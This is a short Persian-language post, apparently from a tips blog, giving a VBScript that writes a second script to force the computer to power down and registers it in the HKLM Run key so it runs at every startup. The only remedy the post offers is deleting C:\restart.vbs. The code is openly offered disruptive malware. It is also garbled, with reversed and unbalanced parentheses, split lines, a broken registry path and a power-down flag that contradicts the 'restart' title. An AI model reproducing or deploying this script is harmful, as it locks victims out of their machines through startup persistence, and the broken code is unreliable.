رستارت کردن مدام کامپیوتر

[rahimonline]

کدهای زیر را درNotepadنوشته و با نام restart.vbsدر درایو c:ذخیره کرده
و اجرا کنید با این کار کامپیوتر به محض آغاز رستارت خواهد شد برای برگرداندن
کامپیوتر به حالت اول باید فایل C:\restart.vbsرا از کامپیوتر پاک کنید.

Sub ShutDown
Set FSO = CreateObject("Scripting.FileSystemObject " (
Set TxtFile = FSO.CreateTextFile("c:\restart.vbs", 2, False (
TxtFile.WriteLine "Sub ShutDown "
TxtFile.WriteLine "nLogOff=0 "
TxtFile.WriteLine "nReboot=2 "
TxtFile.WriteLine "nForceLogOff =4 "
TxtFile.WriteLine "nForceReboot=6 "
TxtFile.WriteLine "nPowerDown=8 "
TxtFile.WriteLine "nForcePowerDown=12 "
TxtFile.WriteLine "Set oOS =
GetObject("+chr(34)+"winmgmts:{(Shutdown)}"+chr(34 )+").Exec
Query("+chr(34)+"Select * from
Win32_OperatingSystem"+chr(34 +( " ( "
TxtFile.WriteLine "For Each oOperatingSystem in oOS "
TxtFile.WriteLine
" oOperatingSystem.Win32Shutdown(nForcePowerDown ( "
TxtFile.WriteLine "Next "
TxtFile.WriteLine "End sub "
TxtFile.WriteLine "ShutDown "
TxtFile.Close
Set WshShell = CreateObject (" WScript.Shell " (
WshShell.RegWrite
"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr e
ntVersion\Run \ Restart " , " c:\restart.vbs "
End sub
ShutDown